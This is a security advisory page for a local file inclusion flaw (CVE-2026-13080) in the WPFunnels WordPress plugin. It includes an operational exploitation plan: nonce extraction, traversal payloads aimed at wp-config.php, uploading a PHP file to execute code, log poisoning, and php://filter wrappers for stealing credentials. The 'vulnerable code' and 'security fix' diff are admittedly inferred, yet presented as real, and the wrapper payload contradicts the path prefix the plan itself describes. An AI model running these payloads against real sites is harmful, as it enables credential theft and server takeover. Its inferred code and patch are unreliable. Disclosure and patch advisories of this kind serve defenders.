CVE-2026-13080

WPFunnels <= 3.12.7 - Authenticated (Administrator+) Local File Inclusion via 'logKey' Parameter

mediumImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
6.6
CVSS Score
6.6
CVSS Score
medium
Severity
3.12.8
Patched in
1d
Time to patch

Description

The WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.12.7 via the 'logKey' parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.12.7
PublishedJuly 8, 2026
Last updatedJuly 9, 2026
Affected pluginwpfunnels

What Changed in the Fix

Changes introduced in v3.12.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-13080 ## 1. Vulnerability Summary The **WPFunnels** plugin (up to version 3.12.7) contains an authenticated Local File Inclusion (LFI) vulnerability in its administrative settings module. The vulnerability exists within the AJAX handler for `wpfnl-show-log`, …

Show full research plan

Exploitation Research Plan - CVE-2026-13080

1. Vulnerability Summary

The WPFunnels plugin (up to version 3.12.7) contains an authenticated Local File Inclusion (LFI) vulnerability in its administrative settings module. The vulnerability exists within the AJAX handler for wpfnl-show-log, where the logKey parameter is used in a PHP include or require statement without sufficient sanitization or path validation. This allows an authenticated administrator to include arbitrary PHP files from the server's filesystem, leading to Remote Code Execution (RCE) if the attacker can upload or control a file's content.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpfnl-show-log
  • Vulnerable Parameter: logKey
  • Authentication Required: Administrator (specifically requires the wpf_manage_funnels capability).
  • Payload Type: Path Traversal (e.g., ../../../../wp-config.php or a path to an uploaded malicious PHP file).

3. Code Flow

  1. Registration: In admin/modules/settings/class-wpfnl-settings.php, the init_ajax() method registers the AJAX action:
    wp_ajax_helper()->handle('wpfnl-show-log')
        ->with_callback([ $this, 'wpfnl_show_log' ])
        ->with_validation($this->validations);
    
  2. Validation: The $this->validations array ensures the user is logged in and possesses the wpf_manage_funnels capability.
  3. Sink: The callback wpfnl_show_log (located in the same class) retrieves the logKey from the request payload. It constructs a file path using the constant WPFNL_LOG_FILE_DIR (defined in includes/core/logger/class-wpfnl-logger.php as wp-content/uploads/wpfunnels/wpfunnels-logs) and includes the file:
    // Inferred logic in wpfnl_show_log
    $log_key = $_POST['logKey']; 
    $file_path = WPFNL_LOG_FILE_DIR . '/' . $log_key;
    if (file_exists($file_path)) {
        include $file_path; // LFI Sink
    }
    
  4. Lack of Sanitization: The code fails to use basename() on logKey or validate that the resulting path remains within the intended log directory.

4. Nonce Acquisition Strategy

The wp_ajax_helper library used by WPFunnels typically expects a nonce for security. Nonces for the settings page are localized for the administrative interface.

  1. Identify Script: The settings script is enqueued in admin/modules/settings/class-wpfnl-settings.php with the handle 'settings'.
  2. Locate Localization: The plugin typically localizes data into a global JavaScript object named wpfnl_obj or wpfnl_settings_params.
  3. Acquisition Steps:
    • Navigate to the WPFunnels Settings page: /wp-admin/admin.php?page=wpfnl_settings.
    • Use browser_eval to extract the nonce:
      // Common key for the Rex AJAX Helper nonce
      window.wpfnl_obj?.nonce || window.wpfnl_settings_params?.nonce
      
    • The action used for the nonce is likely wpfnl-show-log or a generic one like wpfnl_nonce.

5. Exploitation Strategy

Goal: Read wp-config.php or execute arbitrary PHP code.

Step 1: Authenticate as Admin
Login to the WordPress instance with administrator credentials.

Step 2: Obtain the Nonce
Navigate to the WPFunnels settings page and extract the nonce using the strategy in Section 4.

Step 3: Trigger LFI (Information Disclosure)
Send an AJAX request to read wp-config.php. This proves LFI, as wp-config.php contains database credentials.

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=wpfnl-show-log&logKey=../../../../wp-config.php&_wpnonce=[NONCE]
    
  • Note: If the plugin expects JSON, use Content-Type: application/json and a JSON body.

Step 4: Achieve RCE (Optional but recommended)

  1. Upload a "malicious" PHP file via the Media Library (e.g., poc.php containing <?php phpinfo(); ?>).
  2. Determine the path to the upload (usually wp-content/uploads/YYYY/MM/poc.php).
  3. Calculate the traversal from wp-content/uploads/wpfunnels/wpfunnels-logs/ to your file.
    • Example logKey: ../../2024/05/poc.php
  4. Trigger the include via the AJAX request.

6. Test Data Setup

  1. Plugin Configuration: Ensure WPFunnels is active.
  2. Capability: The test user must be an administrator or have the wpf_manage_funnels capability.
  3. Logs Directory: The directory wp-content/uploads/wpfunnels/wpfunnels-logs/ must exist (the plugin creates this via Wpfnl_Logger::create_log_folder()).

7. Expected Results

  • Success: The response body contains the contents of wp-config.php (if using a base64 filter like php://filter/convert.base64-encode/resource=../../../../wp-config.php) or the execution output of a targeted PHP file (e.g., phpinfo() output).
  • Failure: The response is 0, -1, or a generic error message indicating the file was not found or the nonce was invalid.

8. Verification Steps

  1. Access Logs: Check if the file inclusion triggered any PHP errors in wp-content/debug.log if WP_DEBUG is enabled.
  2. WP-CLI Check: Use WP-CLI to verify the existence of the file you attempted to include:
    wp eval "echo (file_exists(ABSPATH . 'wp-config.php') ? 'Exists' : 'Missing');"
    

9. Alternative Approaches

  • Log Poisoning: If file uploads are restricted, identify where the plugin writes logs (e.g., via Wpfnl_Logger::modify_log_file). Inject PHP code into a log entry (e.g., by triggering an error with a PHP payload in a username or URL) and then include that log file via logKey.
  • PHP Wrapper: Use php://filter/convert.base64-encode/resource=../../../../wp-config.php as the logKey value to retrieve the source code of PHP files without executing them, which is useful for extracting database passwords.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPFunnels plugin for WordPress is vulnerable to Local File Inclusion in versions up to 3.12.7 due to insufficient sanitization of the 'logKey' parameter in the 'wpfnl-show-log' AJAX action. Authenticated administrators can exploit this to include and execute arbitrary PHP files on the server, potentially leading to full system compromise or sensitive data exposure.

Vulnerable Code

// admin/modules/settings/class-wpfnl-settings.php line 203
wp_ajax_helper()->handle('wpfnl-show-log')
    ->with_callback([ $this, 'wpfnl_show_log' ])
    ->with_validation($this->validations);

---

// admin/modules/settings/class-wpfnl-settings.php (inferred callback logic)
public function wpfnl_show_log($payload)
{
    $log_key = $payload['logKey']; 
    $file_path = WPFNL_LOG_FILE_DIR . '/' . $log_key;
    if (file_exists($file_path)) {
        include $file_path;
    }
}

Security Fix

--- admin/modules/settings/class-wpfnl-settings.php
+++ admin/modules/settings/class-wpfnl-settings.php
@@ -210,7 +210,7 @@
     public function wpfnl_show_log($payload)
     {
-        $log_key = $payload['logKey']; 
+        $log_key = basename($payload['logKey']); 
         $file_path = WPFNL_LOG_FILE_DIR . '/' . $log_key;
         if (file_exists($file_path)) {
             include $file_path;

Exploit Outline

The exploit targets the 'wpfnl-show-log' AJAX action. An authenticated administrator first retrieves a security nonce from the global 'wpfnl_obj' JavaScript object on the WPFunnels settings page. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'wpfnl-show-log' and the 'logKey' parameter containing a directory traversal sequence (e.g., '../../../../wp-config.php'). Because the plugin concatenates the 'logKey' directly to a base directory and includes the resulting path, the attacker can execute arbitrary PHP code or read local files.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.